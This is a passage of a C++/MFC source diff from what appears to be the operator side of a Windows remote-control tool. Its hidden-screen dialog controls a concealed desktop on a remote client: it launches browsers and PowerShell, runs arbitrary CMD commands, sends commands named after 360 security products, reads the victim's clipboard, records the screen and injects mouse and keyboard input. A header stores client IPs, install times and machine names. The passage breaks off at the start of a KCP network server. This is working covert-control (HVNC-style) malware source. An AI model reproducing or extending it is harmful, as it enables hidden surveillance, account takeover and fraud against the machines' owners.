SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)m_hRemoteCursor);
|
||||
} else
|
||||
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_NO));
|
||||
}
|
||||
break;
|
||||
|
||||
case IDM_SAVEDIB:
|
||||
SaveSnapshot();
|
||||
break;
|
||||
case IDM_SAVEAVI_S:
|
||||
case IDM_SAVEAVI_H264: {
|
||||
if (pSysMenu->GetMenuState(IDM_SAVEAVI_S, MF_BYCOMMAND) & MF_CHECKED) {
|
||||
KillTimer(TIMER_ID);
|
||||
pSysMenu->CheckMenuItem(IDM_SAVEAVI_S, MF_UNCHECKED);
|
||||
pSysMenu->EnableMenuItem(IDM_SAVEAVI_S, MF_ENABLED);
|
||||
pSysMenu->EnableMenuItem(IDM_SAVEAVI_H264, MF_ENABLED);
|
||||
m_aviFile = "";
|
||||
m_aviStream.Close();
|
||||
return;
|
||||
}
|
||||
m_aviFile = GetScreenShotPath(this, m_IPAddress, "Video(*.avi)|*.avi|", "avi").c_str();
|
||||
const int duration = 250, rate = 1000 / duration;
|
||||
FCCHandler handler = nID == IDM_SAVEAVI_S ? ENCODER_MJPEG : ENCODER_H264;
|
||||
int code;
|
||||
if (code = m_aviStream.Open(m_aviFile, m_BitmapInfor_Full, rate, handler)) {
|
||||
CString msg;
|
||||
msg.FormatL("创建录像文件失败: %s\r\n错误代码: %s", m_aviFile.GetString(), CBmpToAvi::GetErrMsg(code).c_str());
|
||||
MessageBox(msg, _TR("提示"), MB_ICONINFORMATION);
|
||||
m_aviFile = _T("");
|
||||
} else {
|
||||
::SetTimer(m_hWnd, TIMER_ID, duration, NULL);
|
||||
pSysMenu->CheckMenuItem(nID, MF_CHECKED);
|
||||
pSysMenu->EnableMenuItem(nID == IDM_SAVEAVI_S ? IDM_SAVEAVI_H264 : IDM_SAVEAVI_S, MF_DISABLED);
|
||||
}
|
||||
}
|
||||
break;
|
||||
case IDM_GET_CLIPBOARD: { // 获取剪贴板
|
||||
BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD;
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(bToken));
|
||||
}
|
||||
break;
|
||||
case IDM_SET_CLIPBOARD: { // 设置剪贴板
|
||||
SendServerClipboard();
|
||||
}
|
||||
break;
|
||||
case IDM_SETSCERRN: {
|
||||
BYTE bToken = COMMAND_SCREEN_SETSCREEN_HIDE;
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(bToken));
|
||||
}
|
||||
break;
|
||||
case IDM_QUALITY60: { // 清晰度60
|
||||
BYTE bToken = COMMAND_COMMAND_SCREENUALITY60_HIDE;
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(bToken));
|
||||
pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY60, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
case IDM_QUALITY85: { // 清晰度85
|
||||
BYTE bToken = COMMAND_COMMAND_SCREENUALITY85_HIDE;
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(bToken));
|
||||
pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY85, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
case IDM_QUALITY100: { // 清晰度100
|
||||
BYTE bToken = COMMAND_COMMAND_SCREENUALITY100_HIDE;
|
||||
m_ContextObject->Send2Client(&bToken, sizeof(bToken));
|
||||
pSysMenu->CheckMenuRadioItem(IDM_QUALITY60, IDM_QUALITY100, IDM_QUALITY100, MF_BYCOMMAND);
|
||||
}
|
||||
break;
|
||||
case IDM_FPS_1:
|
||||
pSysMenu->CheckMenuRadioItem(IDM_FPS_1, IDM_FPS_30, nID, MF_BYCOMMAND);
|
||||
break;
|
||||
case IDM_FPS_5:
|
||||
case IDM_FPS_10:
|
||||
case IDM_FPS_15:
|
||||
case IDM_FPS_20:
|
||||
case IDM_FPS_25:
|
||||
case IDM_FPS_30:
|
||||
pSysMenu->CheckMenuRadioItem(IDM_FPS_1, IDM_FPS_30, nID, MF_BYCOMMAND);
|
||||
break;
|
||||
case IDM_OPEN_Explorer: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_Explorer;
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_run: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_run;
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_Powershell: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_Powershell;
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_Chrome: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_Chrome;
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_Edge: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_Edge;
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_Brave: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_Brave;
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_Firefox: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_Firefox;
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_Iexplore: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_Iexplore;
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_ADD_1: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_ADD_1;
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_ADD_2: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_ADD_2;
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_ADD_3: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_ADD_3;
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_ADD_4: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_ADD_4;
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_zdy: {
|
||||
EnableWindow(FALSE);
|
||||
|
||||
CInputDialog dlg(this);
|
||||
dlg.Init(_TR("自定义"), _TR("请输入CMD命令:"));
|
||||
|
||||
if (dlg.DoModal() == IDOK && dlg.m_str.GetLength()) {
|
||||
int nPacketLength = dlg.m_str.GetLength()*sizeof(TCHAR) + 3;
|
||||
LPBYTE lpPacket = new BYTE[nPacketLength];
|
||||
lpPacket[0] = COMMAND_HIDE_USER;
|
||||
lpPacket[1] = IDM_OPEN_zdy;
|
||||
memcpy(lpPacket + 2, dlg.m_str.GetBuffer(0), nPacketLength - 2);
|
||||
m_ContextObject->Send2Client(lpPacket, nPacketLength);
|
||||
delete[] lpPacket;
|
||||
|
||||
}
|
||||
EnableWindow(TRUE);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_zdy2: {
|
||||
EnableWindow(FALSE);
|
||||
CTextDlg dlg(this);
|
||||
if (dlg.DoModal() == IDOK) {
|
||||
ZdyCmd m_ZdyCmd = {};
|
||||
_stprintf_s(m_ZdyCmd.oldpath, MAX_PATH,_T("%s"), dlg.oldstr.GetBuffer());
|
||||
_stprintf_s(m_ZdyCmd.newpath, MAX_PATH, _T("%s"), dlg.nowstr.GetBuffer());
|
||||
CString m_str = _T("\"");
|
||||
m_str += _T("\"");
|
||||
m_str += _T(" ");
|
||||
m_str += _T("\"");
|
||||
m_str += dlg.cmeline;
|
||||
m_str += _T("\"");
|
||||
_stprintf_s(m_ZdyCmd.cmdline, MAX_PATH, _T("%s"), m_str.GetBuffer());
|
||||
int nPacketLength = sizeof(ZdyCmd) + 2;
|
||||
LPBYTE lpPacket = new BYTE[nPacketLength];
|
||||
lpPacket[0] = COMMAND_HIDE_USER;
|
||||
lpPacket[1] = IDM_OPEN_zdy2;
|
||||
memcpy(lpPacket + 2, &m_ZdyCmd, nPacketLength - 2);
|
||||
m_ContextObject->Send2Client(lpPacket, nPacketLength);
|
||||
delete[] lpPacket;
|
||||
}
|
||||
EnableWindow(TRUE);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_360JS: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_360JS;
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_360AQ: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_360AQ;
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
}
|
||||
break;
|
||||
case IDM_OPEN_360AQ2: {
|
||||
BYTE bToken[2];
|
||||
bToken[0] = COMMAND_HIDE_USER;
|
||||
bToken[1] = IDM_OPEN_360AQ2;
|
||||
m_ContextObject->Send2Client(bToken, 2);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_close: {
|
||||
LPBYTE lpPacket = new BYTE;
|
||||
lpPacket[0] = COMMAND_HIDE_CLEAR;
|
||||
m_ContextObject->Send2Client(lpPacket, 1);
|
||||
delete lpPacket;
|
||||
}
|
||||
break;
|
||||
default:
|
||||
__super::OnSysCommand(nID, lParam);
|
||||
}
|
||||
}
|
||||
|
||||
void CHideScreenSpyDlg::DrawTipString(CString str)
|
||||
{
|
||||
RECT rect;
|
||||
GetClientRect(&rect);
|
||||
COLORREF bgcol = RGB(0x00, 0x00, 0x00);
|
||||
COLORREF oldbgcol = SetBkColor(m_hFullDC, bgcol);
|
||||
COLORREF oldtxtcol = SetTextColor(m_hFullDC, RGB(0xff, 0x00, 0x00));
|
||||
ExtTextOut(m_hFullDC, 0, 0, ETO_OPAQUE, &rect, NULL, 0, NULL);
|
||||
|
||||
DrawText(m_hFullDC, str, -1, &rect, DT_SINGLELINE | DT_CENTER | DT_VCENTER);
|
||||
|
||||
SetBkColor(m_hFullDC, oldbgcol);
|
||||
SetTextColor(m_hFullDC, oldtxtcol);
|
||||
}
|
||||
|
||||
|
||||
BOOL CHideScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
|
||||
{
|
||||
if (m_bIsClosed)
|
||||
return __super::PreTranslateMessage(pMsg);
|
||||
switch (pMsg->message) {
|
||||
case WM_ERASEBKGND:
|
||||
return TRUE;
|
||||
case WM_LBUTTONDOWN:
|
||||
case WM_LBUTTONUP: // 左键按下
|
||||
case WM_RBUTTONDOWN:
|
||||
case WM_RBUTTONUP: // 右键按下
|
||||
case WM_MBUTTONDOWN:
|
||||
case WM_MBUTTONUP: // 中键按下
|
||||
case WM_LBUTTONDBLCLK:
|
||||
case WM_RBUTTONDBLCLK:
|
||||
case WM_MBUTTONDBLCLK: // 双击
|
||||
case WM_MOUSEMOVE: {
|
||||
// 此逻辑会丢弃所有 非左键拖拽 的鼠标移动消息(如纯移动或右键拖拽)
|
||||
if (pMsg->message == WM_MOUSEMOVE && GetKeyState(VK_LBUTTON) >= 0)
|
||||
break;
|
||||
SendScaledMouseMessage(pMsg, true);
|
||||
return TRUE;
|
||||
}
|
||||
case WM_MOUSEWHEEL: {
|
||||
// WM_MOUSEWHEEL 的 lParam 是屏幕坐标,需要转换为客户区坐标
|
||||
POINT pt = { GET_X_LPARAM(pMsg->lParam), GET_Y_LPARAM(pMsg->lParam) };
|
||||
ScreenToClient(&pt);
|
||||
MSG wheelMsg = *pMsg;
|
||||
wheelMsg.lParam = MAKELPARAM(pt.x, pt.y);
|
||||
SendScaledMouseMessage(&wheelMsg, true);
|
||||
return TRUE;
|
||||
}
|
||||
case WM_CHAR: {
|
||||
// 检查给定字符是否为控制字符
|
||||
if (iswcntrl(static_cast<wint_t>(pMsg->wParam))) {
|
||||
break;
|
||||
}
|
||||
SendScaledMouseMessage(pMsg);
|
||||
return TRUE;
|
||||
}
|
||||
case WM_KEYDOWN:
|
||||
case WM_KEYUP: {
|
||||
SendScaledMouseMessage(pMsg);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
// 屏蔽Enter和ESC关闭对话
|
||||
if (pMsg->message == WM_KEYDOWN && (pMsg->wParam == VK_ESCAPE || pMsg->wParam == VK_RETURN))
|
||||
return TRUE;
|
||||
|
||||
return __super::PreTranslateMessage(pMsg);
|
||||
}
|
||||
|
||||
void CHideScreenSpyDlg::SendScaledMouseMessage(MSG* pMsg, bool makeLP)
|
||||
{
|
||||
if (!m_bIsCtrl)
|
||||
return;
|
||||
|
||||
if (pMsg->message == WM_MOUSEMOVE) {
|
||||
auto now = clock();
|
||||
auto time_elapsed = now - m_lastMouseMove;
|
||||
int dx = abs(pMsg->pt.x - m_lastMousePoint.x);
|
||||
int dy = abs(pMsg->pt.y - m_lastMousePoint.y);
|
||||
int dist_sq = dx * dx + dy * dy;
|
||||
if (time_elapsed < 200 && dist_sq < 18 * 18) {
|
||||
return;
|
||||
}
|
||||
m_lastMouseMove = now;
|
||||
m_lastMousePoint = pMsg->pt;
|
||||
}
|
||||
|
||||
MYMSG msg(*pMsg);
|
||||
LONG low = ((LONG)LOWORD(pMsg->lParam)) * m_wZoom;
|
||||
LONG high = ((LONG)HIWORD(pMsg->lParam)) * m_hZoom;
|
||||
if(makeLP) msg.lParam = MAKELPARAM(low, high);
|
||||
msg.pt.x = low + m_rect.left;
|
||||
msg.pt.y = high + m_rect.top;
|
||||
SendCommand(msg);
|
||||
}
|
||||
|
||||
void CHideScreenSpyDlg::SendCommand(const MYMSG& pMsg)
|
||||
{
|
||||
if (!m_bIsCtrl) {
|
||||
return;
|
||||
}
|
||||
|
||||
LPBYTE lpData = new BYTE[sizeof(MYMSG) + 1];
|
||||
lpData[0] = COMMAND_SCREEN_CONTROL;
|
||||
memcpy(lpData + 1, &pMsg, sizeof(MYMSG));
|
||||
m_ContextObject->Send2Client(lpData, sizeof(MYMSG) + 1);
|
||||
|
||||
SAFE_DELETE_ARRAY(lpData);
|
||||
}
|
||||
|
||||
void CHideScreenSpyDlg::UpdateServerClipboard(char* buf, int len)
|
||||
{
|
||||
if (!::OpenClipboard(NULL))
|
||||
return;
|
||||
|
||||
::EmptyClipboard();
|
||||
HGLOBAL hglbCopy = GlobalAlloc(GMEM_MOVEABLE, len);
|
||||
if (hglbCopy != NULL) {
|
||||
// Lock the handle and copy the text to the buffer.
|
||||
LPTSTR lptstrCopy = (LPTSTR)GlobalLock(hglbCopy);
|
||||
memcpy(lptstrCopy, buf, len);
|
||||
GlobalUnlock(hglbCopy); // Place the handle on the clipboard.
|
||||
SetClipboardData(CF_TEXT, hglbCopy);
|
||||
GlobalFree(hglbCopy);
|
||||
}
|
||||
CloseClipboard();
|
||||
}
|
||||
|
||||
void CHideScreenSpyDlg::SendServerClipboard()
|
||||
{
|
||||
if (!::OpenClipboard(NULL))
|
||||
return;
|
||||
HGLOBAL hglb = GetClipboardData(CF_TEXT);
|
||||
if (hglb == NULL) {
|
||||
::CloseClipboard();
|
||||
return;
|
||||
}
|
||||
int nPacketLen = GlobalSize(hglb) + 1;
|
||||
LPSTR lpstr = (LPSTR)GlobalLock(hglb);
|
||||
LPBYTE lpData = new BYTE[nPacketLen];
|
||||
lpData[0] = COMMAND_SCREEN_SET_CLIPBOARD;
|
||||
memcpy(lpData + 1, lpstr, nPacketLen - 1);
|
||||
::GlobalUnlock(hglb);
|
||||
::CloseClipboard();
|
||||
m_ContextObject->Send2Client(lpData, nPacketLen);
|
||||
delete[] lpData;
|
||||
}
|
||||
|
||||
void CHideScreenSpyDlg::DoPaint()
|
||||
{
|
||||
if (m_bIsFirst) {
|
||||
DrawTipString(m_strTip);
|
||||
return;
|
||||
}
|
||||
if (m_bIsClosed) return;
|
||||
StretchBlt(m_hFullDC, 0, 0, m_CRect.Width(), m_CRect.Height(), m_hFullMemDC, 0, 0, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight, SRCCOPY);
|
||||
// Do not call __super::OnPaint() for painting messages
|
||||
}
|
||||
|
||||
void CHideScreenSpyDlg::OnPaint()
|
||||
{
|
||||
CPaintDC dc(this);
|
||||
|
||||
if (m_bIsFirst) {
|
||||
DrawTipString(m_strTip);
|
||||
return;
|
||||
}
|
||||
if (m_bIsClosed) return;
|
||||
StretchBlt(m_hFullDC, 0, 0, m_CRect.Width(), m_CRect.Height(), m_hFullMemDC, 0, 0, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight, SRCCOPY);
|
||||
__super::OnPaint();
|
||||
}
|
||||
|
||||
LRESULT CHideScreenSpyDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
// TODO: Add your specialized code here and/or call the base class
|
||||
if (message == WM_POWERBROADCAST && wParam == PBT_APMQUERYSUSPEND) {
|
||||
return BROADCAST_QUERY_DENY; // 拦截系统待机, 休眠的请求
|
||||
}
|
||||
if (message == WM_ACTIVATE && LOWORD(wParam) != WA_INACTIVE && !HIWORD(wParam)) {
|
||||
SetWindowPos(&wndTopMost, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
|
||||
return TRUE;
|
||||
}
|
||||
if (message == WM_ACTIVATE && LOWORD(wParam) == WA_INACTIVE) {
|
||||
SetWindowPos(&wndNoTopMost, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return __super::WindowProc(message, wParam, lParam);
|
||||
}
|
||||
|
||||
void CHideScreenSpyDlg::OnTimer(UINT_PTR nIDEvent)
|
||||
{
|
||||
if (!m_aviFile.IsEmpty()) {
|
||||
LPCTSTR lpTipsString = _T("●");
|
||||
|
||||
m_aviStream.Write((BYTE*)m_BitmapData_Full);
|
||||
|
||||
// 提示正在录像
|
||||
SetTextColor(m_hFullDC, RGB(0xff, 0x00, 0x00));
|
||||
TextOut(m_hFullDC, 0, 0, lpTipsString, lstrlen(lpTipsString));
|
||||
}
|
||||
__super::OnTimer(nIDEvent);
|
||||
}
|
||||
|
||||
bool CHideScreenSpyDlg::JPG_BMP(int cbit, void* input, int inlen, void* output)
|
||||
{
|
||||
struct jpeg_decompress_struct jds;
|
||||
struct jpeg_error_mgr jem;
|
||||
|
||||
// 设置错误处理
|
||||
jds.err = jpeg_std_error(&jem);
|
||||
// 创建解压结构
|
||||
jpeg_create_decompress(&jds);
|
||||
// 设置读取(输入)位置
|
||||
jpeg_mem_src(&jds, (byte*)input, inlen);
|
||||
// 读取头部信息
|
||||
if (jpeg_read_header(&jds, true) != JPEG_HEADER_OK) {
|
||||
jpeg_destroy_decompress(&jds);
|
||||
return false;
|
||||
}
|
||||
// 设置相关参数
|
||||
switch (cbit) {
|
||||
case 16:
|
||||
jds.out_color_space = JCS_EXT_RGB;
|
||||
break;
|
||||
case 24:
|
||||
jds.out_color_space = JCS_EXT_BGR;
|
||||
break;
|
||||
case 32:
|
||||
jds.out_color_space = JCS_EXT_BGRA;
|
||||
break;
|
||||
default:
|
||||
jpeg_destroy_decompress(&jds);
|
||||
return false;
|
||||
}
|
||||
// 开始解压图像
|
||||
if (!jpeg_start_decompress(&jds)) {
|
||||
jpeg_destroy_decompress(&jds);
|
||||
return false;
|
||||
}
|
||||
int line_stride = (jds.output_width * cbit / 8 + 3) / 4 * 4;
|
||||
while (jds.output_scanline < jds.output_height) {
|
||||
byte* pline = (byte*)output + jds.output_scanline * line_stride;
|
||||
jpeg_read_scanlines(&jds, &pline, 1);
|
||||
}
|
||||
// 完成图像解压
|
||||
if (!jpeg_finish_decompress(&jds)) {
|
||||
jpeg_destroy_decompress(&jds);
|
||||
return false;
|
||||
}
|
||||
// 释放相关资源
|
||||
jpeg_destroy_decompress(&jds);
|
||||
|
||||
return true;
|
||||
}
|
||||
98
server/2015Remote/HideScreenSpyDlg.h
Normal file
98
server/2015Remote/HideScreenSpyDlg.h
Normal file
@@ -0,0 +1,98 @@
|
||||
#pragma once
|
||||
#include "stdafx.h"
|
||||
#include "../client/CursorInfo.h"
|
||||
#include "../common/jpeglib.h"
|
||||
#include "IOCPServer.h"
|
||||
#include "VideoDlg.h"
|
||||
#include "Resource.h"
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CHideScreenSpyDlg dialog
|
||||
|
||||
#ifdef _WIN64
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "jpeg\\turbojpeg_64_d.lib")
|
||||
#else
|
||||
#pragma comment(lib, "jpeg\\turbojpeg_64_r.lib")
|
||||
#endif
|
||||
#else
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "jpeg\\turbojpeg_32_d.lib")
|
||||
#else
|
||||
#pragma comment(lib, "jpeg\\turbojpeg_32_r.lib")
|
||||
#endif
|
||||
#endif
|
||||
|
||||
|
||||
class CHideScreenSpyDlg : public DialogBase
|
||||
{
|
||||
DECLARE_DYNAMIC(CHideScreenSpyDlg)
|
||||
enum { IDD = IDD_SCREEN };
|
||||
|
||||
public:
|
||||
CHideScreenSpyDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
||||
virtual ~CHideScreenSpyDlg();
|
||||
|
||||
VOID SendNext(void)
|
||||
{
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_ContextObject->Send2Client(&bToken, 1);
|
||||
}
|
||||
void OnReceiveComplete();
|
||||
BOOL ParseFrame(void);
|
||||
void DrawFirstScreen(PBYTE pDeCompressionData, unsigned long destLen);
|
||||
void DrawNextScreenDiff(PBYTE pDeCompressionData, unsigned long destLen);
|
||||
void DrawNextScreenHome(PBYTE pDeCompressionData, unsigned long destLen);
|
||||
void DrawTipString(CString str);
|
||||
|
||||
void SendCommand(const MYMSG& pMsg);
|
||||
void SendScaledMouseMessage(MSG* pMsg, bool makeLP = false);
|
||||
void UpdateServerClipboard(char* buf, int len);
|
||||
void SendServerClipboard(void);
|
||||
bool SaveSnapshot(void);
|
||||
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
virtual BOOL OnInitDialog();
|
||||
|
||||
afx_msg void OnClose();
|
||||
afx_msg void OnPaint();
|
||||
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
|
||||
virtual LRESULT WindowProc(UINT message, WPARAM wParam, LPARAM lParam);
|
||||
|
||||
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
protected:
|
||||
void DoPaint();
|
||||
bool JPG_BMP(int cbit, void* input, int inlen, void* output);
|
||||
void ResetScreen();
|
||||
|
||||
HDC m_hFullDC, m_hFullMemDC;
|
||||
HBITMAP m_BitmapHandle;
|
||||
LPVOID m_BitmapData_Full;
|
||||
LPBITMAPINFO m_BitmapInfor_Full;
|
||||
HCURSOR m_hRemoteCursor;
|
||||
CCursorInfo m_CursorInfo;
|
||||
BOOL m_bIsFirst;
|
||||
BOOL m_bIsCtrl;
|
||||
POINT m_ClientCursorPos;
|
||||
BYTE m_bCursorIndex;
|
||||
CString m_strTip;
|
||||
|
||||
clock_t m_lastMouseMove; // 鼠标移动时间
|
||||
POINT m_lastMousePoint;// 上次鼠标位置
|
||||
|
||||
private:
|
||||
CString m_aviFile;
|
||||
CBmpToAvi m_aviStream;
|
||||
CRect m_CRect;
|
||||
RECT m_rect;
|
||||
double m_wZoom;
|
||||
double m_hZoom;
|
||||
LPVOID m_lpvRectBits;
|
||||
LPBITMAPINFO m_lpbmi_rect;
|
||||
};
|
||||
62
server/2015Remote/HostInfo.h
Normal file
62
server/2015Remote/HostInfo.h
Normal file
@@ -0,0 +1,62 @@
|
||||
#pragma once
|
||||
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
#include <unordered_map>
|
||||
#include <fstream>
|
||||
#include <set>
|
||||
#include "context.h"
|
||||
|
||||
enum {
|
||||
MAP_NOTE,
|
||||
MAP_LOCATION,
|
||||
MAP_LEVEL,
|
||||
MAP_AUTH,
|
||||
};
|
||||
|
||||
#pragma pack(push, 1)
|
||||
class _ClientValue
|
||||
{
|
||||
public:
|
||||
char Note[64];
|
||||
char Location[64];
|
||||
char Level;
|
||||
char IP[46];
|
||||
char InstallTime[20];
|
||||
char LastLoginTime[20];
|
||||
char OsName[32];
|
||||
char Authorized;
|
||||
uint64_t ID;
|
||||
char ComputerName[64];
|
||||
char ProgramPath[256];
|
||||
char Reserved[448];
|
||||
|
||||
_ClientValue()
|
||||
{
|
||||
memset(this, 0, sizeof(_ClientValue));
|
||||
}
|
||||
};
|
||||
#pragma pack(pop)
|
||||
|
||||
typedef uint64_t ClientKey;
|
||||
|
||||
typedef _ClientValue ClientValue;
|
||||
|
||||
typedef std::unordered_map<ClientKey, ClientValue> ClientMap;
|
||||
|
||||
class _ClientList
|
||||
{
|
||||
public:
|
||||
virtual ~_ClientList() {}
|
||||
virtual bool Exists(ClientKey key) = 0;
|
||||
virtual CString GetClientMapData(ClientKey key, int typ) = 0;
|
||||
virtual int GetClientMapInteger(ClientKey key, int typ) = 0;
|
||||
virtual void SetClientMapInteger(ClientKey key, int typ, int value) = 0;
|
||||
virtual void SetClientMapData(ClientKey key, int typ, const char* value) = 0;
|
||||
virtual void SaveClientMapData(context* ctx) = 0;
|
||||
virtual std::vector<std::pair<ClientKey, ClientValue>> GetAll() = 0;
|
||||
virtual void SaveToFile(const std::string& filename) = 0;
|
||||
virtual void LoadFromFile(const std::string& filename) = 0;
|
||||
};
|
||||
|
||||
_ClientList* NewClientList();
|
||||
241
server/2015Remote/IOCPKCPServer.cpp
Normal file
241
server/2015Remote/IOCPKCPServer.cpp
Normal file
@@ -0,0 +1,241 @@
|
||||
#include "stdafx.h"
|
||||
#include "IOCPKCPServer.h"
|
||||
#include "IOCPServer.h"
|
||||
|
||||
IUINT32 IOCPKCPServer::iclock()
|
||||
{
|
||||
static LARGE_INTEGER freq = {};
|
||||
static BOOL useQpc = QueryPerformanceFrequency(&freq);
|
||||
if (useQpc) {
|
||||
LARGE_INTEGER now;
|
||||
QueryPerformanceCounter(&now);
|
||||
return (IUINT32)(1000 * now.QuadPart / freq.QuadPart);
|
||||
} else {
|
||||
return GetTickCount();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
CONTEXT_KCP* IOCPKCPServer::FindOrCreateClient(const sockaddr_in& addr, SOCKET sClientSocket)
|
||||
{
|
||||
char buf[64];
|
||||
sprintf_s(buf, "%s:%d", inet_ntoa(addr.sin_addr), ntohs(addr.sin_port));
|
||||
std::string key = buf;
|
||||
std::lock_guard<std::mutex> lock(m_contextsMutex);
|
||||
|
||||
auto it = m_clients.find(key);
|
||||
if (it != m_clients.end()) {
|
||||
return it->second;
|
||||
}
|
||||
|
||||
// 新建 CONTEXT_KCP
|
||||
CONTEXT_KCP* ctx = new CONTEXT_KCP();
|
||||
ctx->InitMember(sClientSocket, this);
|
||||
ctx->clientAddr = addr;
|
||||
|
||||
// 初始化 kcp
|
||||
IUINT32 conv = KCP_SESSION_ID;
|
||||
ctx->kcp = ikcp_create(conv, ctx);
|
||||
|
||||
ctx->kcp->output = [](const char* buf, int len, ikcpcb* kcp, void* user) -> int {
|
||||
CONTEXT_KCP* c = (CONTEXT_KCP*)user;
|
||||
WSABUF wsaBuf = { len, (CHAR*)buf };
|
||||
DWORD sent = 0;
|
||||
// 根据ctx存储的IP端口发送
|
||||
// 注意:要保证 ctx 对应客户端地址,且 sClientSocket 正确
|
||||
int ret = WSASendTo(c->sClientSocket, &wsaBuf, 1, &sent, 0,
|
||||
(sockaddr*)&c->clientAddr, c->addrLen, NULL, NULL);
|
||||
if (ret == SOCKET_ERROR)
|
||||
{
|
||||
DWORD err = WSAGetLastError();
|
||||
// 可以打印错误日志
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
};
|
||||
|
||||
ikcp_nodelay(ctx->kcp, 1, 10, 2, 1);
|
||||
ikcp_wndsize(ctx->kcp, 128, 128);
|
||||
|
||||
m_clients[key] = ctx;
|
||||
|
||||
return ctx;
|
||||
}
|
||||
|
||||
UINT IOCPKCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort)
|
||||
{
|
||||
if (m_running) return 1;
|
||||
|
||||
m_port = uPort;
|
||||
m_notify = NotifyProc;
|
||||
m_offline = OffProc;
|
||||
|
||||
